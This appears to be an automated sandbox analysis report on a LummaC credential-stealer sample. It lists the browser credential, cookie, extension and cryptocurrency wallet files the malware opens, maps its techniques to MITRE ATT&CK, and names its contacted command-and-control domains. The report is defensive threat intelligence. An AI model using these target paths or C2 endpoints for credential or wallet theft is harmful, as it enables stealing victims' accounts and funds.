Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 5104, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	411 Process Injection	11 Virtualization/Sandbox Evasion	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	411 Process Injection	LSASS Memory	131 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	31 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
PASS-1234.exe	34%	Virustotal		Browse
PASS-1234.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
sideindexfollowragelrew.pw	24%	Virustotal		Browse
productivelookewr.shop	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Link
demonstationfukewko.shop	1%	Virustotal	Browse
sideindexfollowragelrew.pw	24%	Virustotal	Browse
incredibleextedwj.shop	1%	Virustotal	Browse
tolerateilusidjukl.shop	14%	Virustotal	Browse
liabilitynighstjsko.shop	1%	Virustotal	Browse
https://productivelookewr.shop/api	14%	Virustotal	Browse
shortsvelventysjo.shop	1%	Virustotal	Browse
https://productivelookewr.shop/apis	10%	Virustotal	Browse
alcojoldwograpciw.shop	1%	Virustotal	Browse
productivelookewr.shop	1%	Virustotal	Browse
shatterbreathepsw.shop	1%	Virustotal	Browse
https://productivelookewr.shop/	0%	Virustotal	Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
productivelookewr.shop	104.21.11.250	true	true	1%, Virustotal, Browse	unknown
sideindexfollowragelrew.pw	unknown	unknown	true	24%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
demonstationfukewko.shop	true	1%, Virustotal, Browse	unknown
incredibleextedwj.shop	true	1%, Virustotal, Browse	unknown
sideindexfollowragelrew.pw	true	24%, Virustotal, Browse	unknown
shortsvelventysjo.shop	true	1%, Virustotal, Browse	unknown
shatterbreathepsw.shop	true	1%, Virustotal, Browse	unknown
productivelookewr.shop	true	1%, Virustotal, Browse	unknown
tolerateilusidjukl.shop	true	14%, Virustotal, Browse	unknown
liabilitynighstjsko.shop	true	1%, Virustotal, Browse	unknown
https://productivelookewr.shop/api	false	14%, Virustotal, Browse	unknown
alcojoldwograpciw.shop	true	1%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
